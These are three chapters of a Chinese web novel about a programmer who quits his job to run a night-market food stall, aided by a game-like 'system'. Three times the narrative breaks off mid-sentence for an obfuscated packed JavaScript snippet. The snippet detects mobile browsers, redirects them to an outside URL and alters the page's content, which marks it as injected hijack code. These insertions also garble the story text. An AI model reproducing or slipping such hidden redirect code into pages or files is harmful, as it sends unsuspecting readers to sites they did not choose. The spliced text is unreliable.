手机震了好几次，群里在问美食节的结果。房寨没看，他知道结果没那么快出来。 他盯着天花板发呆，灯没闪，今天挺给面子的。 脑子里乱七八糟的。王经理的脸，评委的表情，群里那些等着他消息的人，小刘说的“全职摆摊”。 他想了很多，又好像什么都没想。 最后他翻了个身，把被子拉到肩膀。 明天的事明天再说。 今天赚了两百多块，比昨天多。 这就是好事。 10. 第 10 章 房寨到公司的时候比平时早了二十分钟。 不是他勤快，是睡不着。六点不到就醒了，躺到六点半实在躺不住了，干脆起来洗了把脸出门了。 到了公司楼下，他没有马上上去，在门口站了一会儿。看着那些穿着衬衫西裤的人一个个往里走，有的在打电话，有的在买早餐，有的在跟同事说笑。他以前也是这些人里的一个，每天踩着点到，打了卡再去接杯水，坐下来刷一会儿手机才开始干活。 今天他觉得自己不太像这些人了。 但他说不上来哪里不像。 上了楼，打了卡，坐到工位上。小刘已经到了，正在吃包子，看到他来，嘴巴里含着包子含混地说了一句：“你还好吧？” “还好。” “王经理让你几点去？” “没说时间，就说今天。” 小刘把包子咽下去，压低声音：“我跟你说，昨天我打听了一下，王经理最近在搞什么人员优化，每个部门要砍一个人。你小心点。” 房寨心里咯噔一下。 人员优化。说得真好听，不就是裁员吗。 他坐在工位上，盯着电脑屏幕，一个字都看不进去。脑子里一直在转：如果被裁了怎么办？房贷怎么办？摆摊的收入够不够还贷？ 他又算了一遍账。摆摊半个月，赚了大概一千五左右，平均一天一百。房贷一个月六千三，摆摊一个月只能挣三千，连房贷的一半都不够。他得再打一份工才能还上。 但摆摊加上班，他已经快撑不住了。每天晚上累得像条狗，白天在工位上打瞌睡，工作效率越来越低，迟早要出事。 正想着，王经理的助理过来了。 “房寨，王经理让你现在过去。” 房寨站起来，深呼吸了一下，跟着助理走了。 王经理的办公室在走廊尽头，不大，但窗户很大，阳光照进来，整个屋子亮堂堂的。王经理坐在办公桌后面，面前摊着几份文件，正在看。 “坐。”王经理头都没抬。 房寨在椅子上坐下来，两只手放在膝盖上，像个小学生。 王经理把文件看完，签了字，合上，然后才抬起头看房寨。 他没说话，先看了房寨几秒钟。 房寨被他看得发毛。 “你昨天的烤红薯我吃了。”王经理说，“不错。” 房寨愣了一下。他以为王经理会先批评他上班打瞌睡，或者问他为什么摆摊，没想到第一句话是夸他的红薯。 “谢谢王经理。” “但我叫你来，不是为了夸你的红薯。”王经理靠在椅背上，“你在公司干了多久了？” “两年零四个月。” “两年多了。”王经理点了点头，“你的考勤我看过，前两年都正常，就这个月，迟到了三次，早退了两次。昨天下午你没请假就走了。” 房寨张了张嘴，想说点什么，但发现自己没什么好说的。迟到了就是迟到了，早退了就是早退了，找什么理由都没用。 “我不是要批评你。”王经理说，“我是想问你，你是不是遇到什么困难了？” 房寨没想到王经理会这么问。 他一直以为领导找你谈话，不是骂你就是开你，很少有领导会问“你是不是遇到什么困难了”。 他沉默了几秒，然后说了一句自己都没想到的话。 “我买了房子，房贷太高了，还不起。” 王经理的表情没什么变化，但眼神变了一下。 “所以你摆摊是为了还房贷？” “嗯。” “白天上班，晚上摆摊，能撑得住吗？” 房寨想了想，老实回答：“快撑不住了。” 王经理又沉默了。 他站起来，走到窗户边，看着外面。办公室里很安静，只有空调嗡嗡的声音。 “我年轻的时候也打过两份工。”王经理忽然说，“白天在工厂上班，晚上去夜市摆摊卖袜子。干了一年，身体垮了，胃出血，住院住了半个月。” 他转过身看着房寨。 “你知道我后来怎么想的吗？” 房寨摇了摇头。 “我想明白了，一个人不能同时追两只兔子。你追两只，最后一只都追不到。” 房寨知道王经理是什么意思。 “我给你两个选择。”王经理竖起一根手指，“第一，你把摆摊的事停了，好好上班。你在我手下干了两年多，你的能力我是认可的。下半年部门有个组长空缺，我可以推荐你。” 他竖起第二根手指。 “第二，你辞职，全职去摆摊。我不拦你，人各有志。” 房寨愣住了。 他以为王经理会说“你再摆摊我就开除你”，没想到是这两个选择。 “你不用现在回答我。”王经理说，“回去好好想想，想清楚了告诉我。” 房寨从办公室出来的时候，整个人都是恍惚的。 小刘凑过来问怎么样，他把王经理的话复述了一遍，小刘听完也沉默了。 “两个选择都不好选。”小刘说。 “废话，好选我就不用想了。” 房寨一整天都没心思干活。代码写一行删一行，删到后来屏幕上只剩一个空文件，他又关掉重新建了一个。 他一直在想王经理说的话。 两个选择。 选第一个，继续上班，放弃摆摊。房贷还得起吗？每个月六千三，工资刚好够，但日子过得紧巴巴的，一分钱都攒不下来。而且他要放弃摆摊，放弃那些每天来吃他东西的人，放弃群里那些等他出摊的消息。 选第二个，辞职摆摊。房贷怎么办？摆摊的收入不稳定，这个月能赚三千，下个月可能只赚一千。他拿什么还贷？ 两个选择都不好。 他想找个人聊聊，但不知道该找谁。小刘？他自己也是一屁股债。阿坤？一个健身教练，懂什么房贷。奶奶？更不能跟她说，她会担心的。 下午快下班的时候，系统面板突然亮了。 【检测到宿主当前面临重大人生选择。】 【系统提示：选择本身没有对错，重要的是选择了之后怎么做。】 【特别提示：宿主当前厨艺等级为“初级”，距离“中级”还差400经验值。达到“中级”后，可解锁“店铺经营”功能。】 房寨看着这条提示，忽然意识到一件事。 系统从来没说过让他全职摆摊，也从来没说过让他放弃上班。系统只是给了他一个技能，给了他一些任务，但选择权一直在他自己手里。 他以前觉得是系统在推着他走，但现在想想，好像每一步都是他自己选的。 选不选做任务，选不选摆摊，选不选去夜市，选不选参加美食节，都是他自己决定的。 系统从来没替他选过。 下班的时候，房寨没有直接回家。他去了夜市。 不是去摆摊，是去找阿坤。 阿坤在健身房还没下班，房寨就在门口等他。等了半个多小时，阿坤穿着运动背心出来了，身上还有汗味。 “寨哥？今天不摆摊？” “今天不摆了，想找你聊聊。” 两个人去了健身房旁边的一家烧烤店，点了些串，要了两瓶啤酒。 房寨把今天的事跟阿坤说了。 阿坤听完，喝了一口啤酒，抹了抹嘴。 “寨哥，我问你一个事。” “你问。” “你喜欢摆摊吗？” 房寨想了想：“喜欢。” “比写代码还喜欢？” 房寨又想了想。写代码他不讨厌，但也没有多喜欢。就是一份工作，干了两年多，熟练了，不费脑子了，但也没什么激情了。 摆摊不一样。摆摊的时候他觉得自己是活着的。那种站在铁板后面、被油烟和热气包围、看着客人吃完露出满足表情的感觉，是写代码给不了他的。 “比写代码喜欢。”房寨说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511079|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “那不就结了。”阿坤又喝了一口啤酒，“选你喜欢的。” “但我还有房贷。” “房贷又不是明天就要还完。”阿坤放下瓶子，“你选了你喜欢的，你就能做得更好，做得更好就能赚更多钱，赚更多钱就能还房贷。这不是很简单的道理吗？” 房寨觉得阿坤说得太简单了。但仔细想想，好像确实就是这么简单的道理。 “你再想想，”阿坤说，“你摆摊半个月，赚了多少？” “一千五左右。” “你上班一个月挣多少？” “六千五。” “但你上班的花费呢？交通、吃饭、应酬，这些扣掉还剩多少？” 房寨算了算，交通两百，吃饭八百，偶尔跟同事聚餐几百，乱七八糟的加起来，一个月能剩下四千就不错了。 摆摊的成本也在那里，但摆摊的收入是现金，实打实的，不用扣税，不用交社保，每一分都是自己的。 “寨哥，我不是劝你辞职。”阿坤说，“我是觉得，你这个人做菜有天赋。我吃了十几年路边摊，没吃过比你做的好吃的。你有这个本事，为什么要窝在办公室里写代码？” 房寨没说话。 他看着桌子上的烤串，忽然想起来自己还没吃晚饭。拿起一串羊肉，咬了一口，凉的，有点膻。 他放下羊肉串，站起来。 “走了。” “想好了？” “想好了。” 房寨回到家的时候，天已经黑透了。 他没有马上进家门，在楼下站了一会儿。城中村的巷子里有人在炒菜，味道飘出来，是青椒炒肉，很香。有个小孩在哭，他妈在骂他。有只猫蹲在墙头，绿莹莹的眼睛看着他。 他上了楼，开门，开灯。 灯闪了两下，稳住了。 他坐在塑料凳子上，掏出手机，给王经理发了一条消息。 “王经理，我想好了。我辞职。” 消息发出去之后，不到一分钟就收到了回复。 “确定了？” “确定了。” “好。明天来办手续。以后有空我还去你那吃烤红薯。” 房寨看着这条消息，忽然笑了。 他把手机放在桌上，站起来，走到窗前。窗外是另一栋楼的墙，灰扑扑的，上面爬满了空调外机。但今天他看这堵墙，忽然觉得没那么压抑了。 可能不是因为墙变了，是因为他变了。 他给群里发了一条消息：“今天不摆摊，休息一天。明天正常出摊，有新品。” 群里立刻炸了。 “寨哥儿你今天怎么了？身体不舒服吗？” “终于休息了，你天天出摊我看着都累。” “新品是什么？能不能透露一下？” “炒河粉已经够好吃了，还有新品？寨哥儿你是要卷死其他摊主吗？” 房寨没回复，关掉手机，去洗了个澡。 躺在床上之后，他又把手机打开，翻到那条“人员优化”的消息。他本来可能是被优化的那个人，现在好了，不用等别人来优化他了，他自己把自己优化了。 他想起了系统面板上那句话——选择本身没有对错，重要的是选择了之后怎么做。 现在他选了。 接下来就是怎么做的问题了。 全职摆摊，压力比之前大多了。以前还有工资兜底，摆摊赚多赚少都是外快。现在摆摊就是他的全部收入，一天不出摊就一天没进账。 他得把这件事当事业来做了。 房寨翻了个身，把被子拉到肩膀。 明天开始，新的生活。 他闭上眼睛，脑子里已经在想明天做什么新品了。 炒河粉和烤红薯都卖得挺好，但他还想再做一个。系统的食谱里还有几个没解锁的，不知道什么时候能拿到。 想着想着，他就睡着了。 这一晚没有做梦，一觉到天亮。 11. 第 11 章 离职手续办得比房寨想的快。 王经理在离职申请表上签了字，人力资源的小姑娘核对了一下他的考勤和社保，让他填了一张表，就算完事了。前后不到半小时。 “你这个月上了十天班，工资会照常发。”小姑娘说，“社保交到月底，下个月你自己交或者找公司代缴。” 房寨点了点头，拿着那张离职证明走出了办公室。 他站在公司门口，把离职证明折了折，塞进裤兜里。 出来的时候是上午十点多，太阳已经很高了，晒得人头皮发烫。他站在台阶上看了一会儿，街上的人来来往往，没人注意到他。 他在这里上了两年多的班，每天进进出出，从来没好好看过这栋楼的样子。现在要走了，反而多看了几眼。楼不高，十几层，玻璃幕墙灰蒙蒙的，好像很久没擦过了。 房寨转身走了。 回到出租屋，他把工牌、门禁卡、饭卡一样样掏出来，放在桌上。这些东西跟了他两年多，现在忽然没用了。 他坐了一会儿，不知道该干什么。 以前这个时候他在工位上，对着电脑屏幕发呆，等午饭。现在他不用等午饭了，他随时可以吃，但他不饿。 系统面板亮了一下。 【检测到宿主已全职投入美食事业。】 【新功能解锁：店铺经营系统（初级）。】 【当前可解锁店铺类型：路边摊（已拥有）、固定摊位（夜市）、小店面（待解锁）。】 【解锁固定摊位需要：摊位费押金500元，月租1500元。】 房寨看了一眼，他现在手头的钱：摆摊攒的两千出头，加上这个月工资大概有两千多，总共不到五千块。 交了摊位押金和第一个月租金，还剩不到三千。 够活了。 他给赵哥打了个电话。 “赵哥，我想把夜市的摊位定下来，长期租。” “想通了？”赵哥在电话那头笑了，“早该定了。你那个位置虽然偏，但你现在有客源了，不怕偏。你来签合同吧，带上身份证和钱。” 房寨骑车去了夜市。赵哥在管理处的办公室里，桌上摆着一摞合同，上面已经签了好几个人的名字。 “一个月一千五，水电自理，押金五百。合同签半年。”赵哥把合同推过来，“你先看看，没问题就签。” 房寨翻了翻，没什么好看的，格式合同，不看也得看。他签了字，按了手印，交了钱。 从管理处出来的时候，他手里多了一把钥匙。夜市的摊位钥匙，虽然就是个铁皮柜子，但好歹是固定的了。 他走到自己的摊位前，打开柜子看了看。里面空荡荡的，有点灰，但整体还算干净。他可以用这个柜子放食材和工具，不用每天把全部家当推来推去了。 房寨站在摊位前，叉着腰看了好一会儿。 这是他的了。 不是临时占的，不是蹭别人的，是他正儿八经租下来的。 他掏出手机拍了一张照片，发到了群里。 “摊位定下来了，城南夜市，靠厕所这个位置。以后每天晚上都在。” 群里又炸了。 “终于定下来了！以后不用每天猜你在哪了！” “靠厕所怎么了？靠厕所我也去！” “寨哥儿你有固定摊位了，是不是该搞个菜单了？” “对对对，菜单菜单！” 菜单。 房寨想了想，他现在能做的东西：蛋炒饭、阳春面、铁板鱿鱼、葱油拌面、炒河粉、烤红薯。 六个菜。 不多，但对于一个小摊位来说够了。 他找了一张纸板，在上面写菜单。字还是写得歪歪扭扭的，但比以前好看了一点，大概是因为写多了。 蛋炒饭——8元 阳春面——10元 葱油拌面——10元 炒河粉——12元（加牛肉15元） 铁板鱿鱼——5元/串 烤红薯——6元/8元 写完之后他看了看，觉得少了点什么。又加了一行小字在上面：“每天晚上六点开摊，卖完收摊。” 他把菜单挂在摊位前面，退后两步看了看。 挺像那么回事的。 下午四点多，房寨去菜市场买菜。 今天他打算多备一些食材。以前他每天只准备二十份左右的量，卖完就收。现在全职了，时间多了，可以多做一点。 他买了十斤河粉、五斤面条、三板鸡蛋、十斤鱿鱼、五十斤红薯。鱿鱼让老板帮忙处理好了，省了一道工序。红薯一个个挑，挑了一个多小时，摊主都快烦了。 “小伙子，你买五十斤红薯挑一个小时，我这一天生意还做不做了？” “对不起对不起，马上好。” 房寨最后挑了四十五斤，付了钱，骑着三轮车往回走。三轮车是他在二手市场淘的，两百块钱，比推车快多了，一次能拉两百斤东西。 回到出租屋，他开始备料。 河粉要一条条撕开，这个最费时间。十斤河粉，他撕了一个多小时，手指头都疼了。鱿鱼要串签子，五斤鱿鱼串了四十多串。红薯洗干净擦干，在表皮上扎孔。葱切成葱花，分装在保鲜盒里。酱料调好，装在塑料瓶里，挤着用。 忙完这些，天已经快黑了。 五点半，房寨骑着三轮车出门了。车上装满了食材和工具，比平时重了很多，骑起来有点费劲。 到了夜市，他把东西搬下来，一样样摆好。烤炉预热，铁板通电，锅里的水烧上。他把菜单挂好，招牌擦干净，塑料凳子摆了两张在摊位旁边。 六点整，第一个客人来了。 不是别人，是阿坤。 “寨哥，今天第一个，给我来份炒河粉，加牛肉。” “你今天不练了？” “练完了，专门赶过来的。”阿坤坐在塑料凳子上，掏出手机开始拍，“我得给你宣传宣传，今天是你正式开业的日子。” 房寨笑了笑，开始炒河粉。 牛肉先下锅滑熟，盛出来。鸡蛋炒散，下河粉，大火快炒。河粉在锅里翻腾，边缘开始变得焦黄。酱油沿着锅边淋下去，刺啦一声，香味炸开。最后下豆芽、韭菜和牛肉，翻炒几下出锅。 整个过程不到三分钟，行云流水。 阿坤接过盘子，吃了一口，竖起大拇指。 “还是这个味儿。” 【叮！食客评价已录入。满意度：95分。】 阿坤吃到一半的时候，第二波客人来了。 是群里的人。房寨不认识他们，但他们认识房寨。 “寨哥儿！终于见到真人了！”一个戴眼镜的姑娘激动得不行，“我在群里潜水好久了，一直没时间来，今天专门过来的。” “欢迎欢迎，想吃什么？” “葱油拌面！我在群里看你发的照片馋了好久了！” 房寨煮了面，过了凉水，浇上热葱油。刺啦一声，葱香四溢。姑娘接过去拌了拌，吃了一口，眼睛亮了。 “好吃！真的好吃！” 她一边吃一边拍照，拍了十几张，各个角度，连碗底都不放过。 “我得发个朋友圈，让她们羡慕死。” 房寨被她说得有点不好意思，低下头继续干活。 六点半之后，人开始多了起来。 熟客来了，新客也来了。有的专门从城北赶过来，有的刚下班还没换衣服就来了，有的带着孩子一家人来的。摊位前排起了队，和昨天美食节的时候差不多。 房寨一个人忙不过来，两个锅同时开火，左手炒河粉右手煮面，铁板上还烤着鱿鱼。他恨不得自己长出三头六臂。 阿坤吃完没走，主动帮他打下手。递盘子、装袋、收钱，干得有模有样。 “寨哥，你得请个人了。”阿坤说，“你一个人忙不过来的。” “请不起。” “那你至少得加个设备，你看你这铁板太小了，一次只能烤几串。” 房寨知道阿坤说得对。他看了一眼系统面板里的推车升级图纸，下一级需要遮阳棚、储物柜和移动电源，成本两千五。他现在手头的钱交了摊位租金之后还剩三千出头，升级完推车就没钱了。 但如果不升级，效率提不上去，每天赚的钱就那么多。 他咬了咬牙，决定升级。 第二天，房寨跑了一趟五金市场，买了升级需要的材料。遮阳棚是在一家专门做帐篷的店里定做的，四百块。储物柜买了个二手的铁皮柜，八十块。移动电源是最贵的，花了一千八，可以给铁板和烤炉供电四五个小时。 回到家，他按照图纸上的说明，花了半天时间把推车改装好了。 现在的推车和之前完全不一样了。顶上多了一个深蓝色的遮阳棚，下面多了一个带锁的铁皮柜，侧面挂着一个移动电源。铁板还是两块，但换成了更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511080|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大尺寸的，一次能烤十几串鱿鱼。 虽然轮子还是咯吱咯吱响，但看起来已经不像破烂了，像一个正儿八经的餐车。 房寨把推车推到夜市，赵哥路过的时候看了一眼，点了点头。 “像个样子了。” 房寨笑了笑。 晚上六点，准时开摊。 今天的生意比昨天还好。升级后的效率提升了将近一半，同样的时间能多做十几份。炒河粉卖了将近五十份，鱿鱼卖了六十多串，红薯卖了三十多个。 到晚上九点收摊的时候，所有东西全部卖光。 房寨数了数钱，毛收入七百多，净赚将近四百。 一天四百。 一个月就是一万二。 他坐在塑料凳子上，看着手里的钞票，好半天没动。 以前上班一个月挣六千五，扣掉花销剩四千。现在摆摊一天挣四百，一个月就是一万二，扣掉成本和生活费，能剩七八千。 比上班强。 但这不是最让他高兴的。 最让他高兴的是，他站在铁板后面的时候，没有那种“熬时间”的感觉了。以前上班的时候，他每分钟都在看时间，盼着下班，盼着周末，盼着放假。现在他巴不得时间过得慢一点，让他多做几份。 这种感觉很奇怪，但他喜欢。 收摊的时候，阿坤又来了。他今天穿了一件新T恤，白色的，上面印着几个大字：寨哥儿炒河粉。 房寨看到的时候愣了一下，然后笑了。 “你这衣服哪来的？” “自己做的。”阿坤转了个身，背后也有字：好吃到哭。 “我做了十件，打算在群里卖。”阿坤说，“一件三十块，你要不要？” “你倒是会做生意。” “跟你学的。”阿坤笑了。 两个人把推车收拾好，阿坤帮他把东西搬上三轮车。忙完之后，两个人蹲在路边抽了根烟。房寨不抽烟，阿坤给他他也没要。 “寨哥，你现在全职了，有什么打算？” “先把夜市做稳了，攒点钱，以后再说。” “以后开个店？” “也许吧。”房寨说，“先把眼前的事做好。” 阿坤点了点头，把烟掐灭了。 “那我走了，明天见。” “明天见。” 房寨骑着三轮车往回走。晚上的风有点凉，吹在脸上很舒服。路上没什么人了，只有路灯一盏接一盏地亮着。 他忽然想起来，今天是周五。 以前周五是他最期待的日子，因为第二天不用上班。现在每天都是工作日，每天也都是休息日。 他分不清了。 但他觉得分不清也没关系。 路过天桥的时候，那个唱歌的人又来了。今天唱的是首老歌，房寨小时候听过，但想不起来叫什么名字了。 他停下来听了一会儿，往吉他盒里放了十块钱。 唱歌的人冲他点了点头，继续唱。 房寨骑上车走了。 咯吱咯吱的声音在夜晚的街道上响着，和之前一样，但好像没有以前那么吵了。可能不是轮子变了，是他的耳朵变了。 回到城中村，巷子里那几只猫还在。房寨从口袋里掏出一根火腿肠，掰碎了丢给它们。猫们低头抢食，吃完了抬起头看着他，眼睛在黑暗中发着光。 “明天还有。”房寨说。 他上了楼，开门，开灯。灯闪了一下，稳住了。 他洗了个澡，躺在床上，翻开手机。 群里有人在发今天的照片，有炒河粉的、有鱿鱼的、有烤红薯的，还有一张阿坤穿着那件T恤的照片。照片下面一堆人问衣服在哪买的。 房寨一张张地看过去，看到最后一张的时候，他愣了一下。 那是一张他的照片。 不知道是谁拍的，大概是趁他不注意的时候偷拍的。照片里他站在铁板后面，低着头在炒河粉，油烟从锅里冒出来，遮住了半张脸。但能看出来他在笑，嘴角往上翘着，眼睛弯弯的。 照片下面配了一行字：“寨哥儿今天笑得真开心。” 房寨看了好几秒，然后把手机放下了。 他笑了一下。 不是给别人看的笑，是给自己看的。 然后他关了灯，翻了个身，闭上了眼睛。 窗外，夜风穿过城中村的电线，声音细细的，像有人在远处哼歌。 12. 第 12 章 房寨在夜市摆满一个月的那天，收摊之后没有马上回家。 他坐在摊位旁边的塑料凳子上，面前是收拾干净的推车和铁板，身后是逐渐冷清下来的夜市街道。赵哥在远处跟人说话，声音忽大忽小的。卖烤面筋的大叔已经开始拆棚子了，动作很熟练，拆完把东西往三轮车上一扔，骑上车就走了。 房寨从口袋里掏出一个本子。 这是他专门买来记账的，一块钱一本，封面是那种俗气的花花绿绿的图案。他翻开第一页，上面密密麻麻地写着每天的收支。 第一天：毛收入220，成本110，净赚110 第二天：毛收入310，成本150，净赚160 第三天：毛收入280，成本130，净赚150 第四天：毛收入400，成本200，净赚200 第五天：…… 他一页一页地往后翻，数字在慢慢变大。从最开始的一天赚一百出头，到后来的一天三四百，有时候甚至能到五百。 最后一页是今天的：毛收入820，成本380，净赚440。 他把这个月的所有数字加了一遍。毛收入总共八千多，成本去掉之后，净赚四千七。 不到五千块。 比上班少。 房寨看着这个数字，心里有点复杂。他全职摆摊一个月，赚的还不如上班多。上班虽然也就六千五，但扣完社保公积金还有五千多到手，比摆摊还强点。 但上班的时候他每天只花两个小时在路上和工位上，剩下的时间都是自己的。摆摊呢？每天备料三四个小时，出摊四五个小时，收摊一个小时，加起来快十个小时了。赚的钱反而少了。 他合上本子，靠在椅背上，看着头顶的遮阳棚发呆。 这时候系统面板亮了。 【月度总结已生成。】 【营业天数：26天】 【服务食客总数：437人】 【平均满意度：91.3分】 【总净收入：4720元】 【房贷已还：15000元（含系统奖励）】 【当前剩余本金：1,474,331.68元】 【系统评价：第一个月是打基础的阶段，数据表现良好。建议下个月重点关注：菜品丰富度、出摊效率、客单价提升。】 房寨看着那些数字，忽然注意到一件事。 房贷已还一万五。 这里面大部分是系统奖励的房贷减免券，真正靠摆摊赚的钱还的房贷，可能只有一两千块。也就是说，如果光靠摆摊的收入，他连房贷的零头都还不起。 他忽然觉得有点慌。 之前有系统奖励撑着，他没太在意房贷的事。但系统奖励不是每天都有的，任务也不是每天都发的。万一哪天系统不发了，他拿什么还房贷？ “寨哥，还没走呢？” 赵哥的声音从后面传来，打断了房寨的思绪。 “这就走。” “对了，跟你说个事。”赵哥走过来，手里拿着一个文件夹，“下个月夜市要调整摊位费，你的位置可能要涨一点。” “涨多少？” “涨到两千。” 房寨愣了一下。一千五涨到两千，涨了五百，百分之三十还多。 “赵哥，我这个位置靠厕所，人流量本来就少，涨到两千是不是太多了？” 赵哥看了他一眼，叹了口气：“不是我要涨，是上面定的。整条街都涨，你旁边那个卖烤面筋的也涨了。你要是觉得不合适，可以不租。” 房寨沉默了。 他现在一个月净赚四千七，摊位费从一千五涨到两千，成本多了五百，净赚就只剩四千二了。再扣掉生活费，一个月能存下来的钱不到两千块。 两千块。 他要还一百四十七万的房贷。 按照这个速度，他需要还多少年？ 房寨没有算，因为他怕算出来会崩溃。 “赵哥，我考虑一下。” “行，你考虑好了跟我说。” 赵哥走了之后，房寨又在凳子上坐了一会儿。 夜市的灯一盏一盏地灭了，整条街暗了下来。远处还有几家在收摊，说话的声音在空旷的街道上回荡，听起来很远。 他站起来，把凳子折好放在推车上，骑着三轮车往回走。 路上他想了很多。想摊位费的事，想房贷的事，想以后怎么办。越想越觉得前途一片灰暗，像城中村那条永远晒不到太阳的巷子。 但他又想到另外一些事。 想到那个姑娘吃完葱油拌面之后笑出来的样子，想到那个老大爷说“你明天还来不”时的表情，想到阿坤穿着那件“寨哥儿炒河粉”的T恤到处显摆的样子。 想到那些在群里说“寨哥儿你今天辛苦了”的人。 房寨忽然觉得，好像也没那么灰暗。 回到出租屋，他把本子翻开，又看了一遍这个月的记录。 他不是在算账，是在看那些数字背后的东西。 第一天净赚一百一，那天他只卖了二十几份，但有个客人吃完之后特意回来跟他说了一声“谢谢”。 第三天净赚一百五，那天有个老太太在摊位前站了十分钟，犹豫了半天才买了一份炒河粉，吃完之后说这是她这辈子吃过最好吃的炒河粉。 第十五天净赚三百二，那天美食节，他的烤红薯被三个评委吃了，虽然最后没得奖，但那个女评委走的时候说了一句“小伙子，你做得很好”。 第二十天净赚四百，那天王经理来了，吃了他的烤红薯，第二天他就辞职了。 房寨把本子合上，放在枕头底下。 他不想算了。 明天的事明天再说。 第二天一早，房寨被手机震醒了。 群里有人在@他，好几条。他眯着眼睛点开一看，是有人转发了一条消息。 “城南夜市要涨摊位费了？听说要涨百分之三十？” 下面一堆人在骂。 “太过分了吧，本来就赚不了多少钱。” “寨哥儿的摊位在厕所旁边，人流量那么少，涨他的不合理吧？” “有没有什么办法帮帮寨哥儿？” 房寨看着这些消息，心里暖了一下，但没回复。他不知道该说什么。说“没关系”太假了，说“有关系的”又太丧了。 他起来洗漱，准备去菜市场。 今天他想试试新东西。 系统的食谱里还有一个没解锁的，他一直没机会用。烤红薯已经做了，效果还行。但夏天卖烤红薯总归不是长久之计，他需要一个夏天的拳头产品。 他想到了凉面。 不是系统给的食谱，是他自己想的。夏天吃凉面，酸酸辣辣的，开胃又解暑。如果能做得好，应该比热面好卖。 房寨去菜市场买了面条、黄瓜、豆芽、花生米、芝麻酱、醋、生抽、辣椒油。回到家开始试。 面条煮好过凉水，沥干。黄瓜切丝，豆芽焯水，花生米碾碎。芝麻酱用温水调开，加醋、生抽、糖、辣椒油，搅成酱汁。 面条放在碗里，铺上黄瓜丝和豆芽，浇上酱汁，撒上花生碎和葱花。 拌开，尝了一口。 太淡了。 芝麻酱的味道不够浓，醋放少了，辣椒油也不够香。整个面吃起来寡淡无味，像是在吃拌了水的面条。 第二碗，多放了芝麻酱和醋，辣椒油重新炸了一遍，加了蒜末提味。 好多了。 但还是差了点意思。 房寨想了想，觉得问题出在面条上。普通碱水面做凉面口感太软，没有嚼劲。他需要一种更劲道的面，或者把面条煮得硬一点。 第三碗，面条煮到八分熟就捞出来，过凉水的时候多过两遍，把表面的淀粉洗掉。 这次对了。 面条劲道，酱汁浓郁，酸辣适中，后味有芝麻酱的醇厚和蒜末的辛辣。黄瓜丝脆脆的，豆芽爽口，花生碎增加了口感层次。 房寨一口气吃完了一整碗，觉得不过瘾，又拌了一碗。 好吃。 他把配方记下来，准备晚上拿到夜市去试卖。 晚上六点，房寨准时开摊。 今天的菜单上多了一行字：凉面，8元。 第一个点凉面的客人是个胖乎乎的小伙子，看起来像个大学生。他看了一眼菜单，又看了一眼房寨。 “老板，你新出的凉面？” “对，今天刚试的，要不要来一份？” “来一份。” 房寨拌了一碗，递过去。 小伙子接过去拌了拌，吃了一口，嚼了嚼，没说话，又吃了一口。 房寨紧张地看着他。 小伙子吃了第三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511081|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口的时候，抬起头看着房寨，表情很认真。 “老板，你这个凉面，能不能不要放花生？” 房寨愣了一下：“不好吃？” “好吃，就是我不吃花生。”小伙子笑了，“味道挺好的，酸酸辣辣的，夏天吃很舒服。” 【叮！食客评价已录入。满意度：90分。】 房寨松了口气。 凉面的反响比他想的好。一个晚上卖了二十多份，虽然不是每个人都给高分，但大部分人都说好吃。有人嫌太辣，有人嫌不够酸，有人觉得芝麻酱太浓了，众口难调，但总体评价不错。 房寨觉得这个可以留下来，以后夏天就卖凉面。 收摊的时候，阿坤来了。他今天没穿那件T恤，换了一件新的，上面印着“寨哥儿凉面”。 房寨看到就笑了：“你动作也太快了。” “那当然，我得跟上你的节奏。”阿坤从口袋里掏出一个信封，“给你，这是卖T恤的钱，十件卖完了，一件三十，三百块。” 房寨接过信封，从里面抽出五十块递给阿坤。 “你的辛苦费。” “不用不用。” “拿着。”房寨把钱塞到他手里，“你帮我做了那么多事，我总不能让你白干。” 阿坤看了看手里的钱，笑了笑，揣进了兜里。 “寨哥，我跟你说个事。”阿坤的表情忽然变得有点严肃，“我打算考个证，营养师的那种。” “好事啊，考呗。” “但是学费要三千多，我手头不够。”阿坤挠了挠头，“你能不能借我两千？我慢慢还。” 房寨想都没想，从钱箱里数了两千块，递给阿坤。 阿坤愣了一下：“你不问问我还款计划？” “不用问，你阿坤我信得过。” 阿坤看着手里的钱，张了张嘴，想说点什么，但最后什么都没说，只是用力点了点头。 “走了寨哥。” “走了。” 阿坤走了之后，房寨一个人坐在摊位前，把今天的收入数了数。 毛收入六百多，净赚三百出头。 加上阿坤还回来的T恤钱，今天总共进了三百五。 他拿出那个花花绿绿的本子，在上面记了一笔。 今天的日期下面，他多写了一行字：“阿坤借钱两千。” 然后他又在后面加了一行：“凉面反响不错，可以继续卖。” 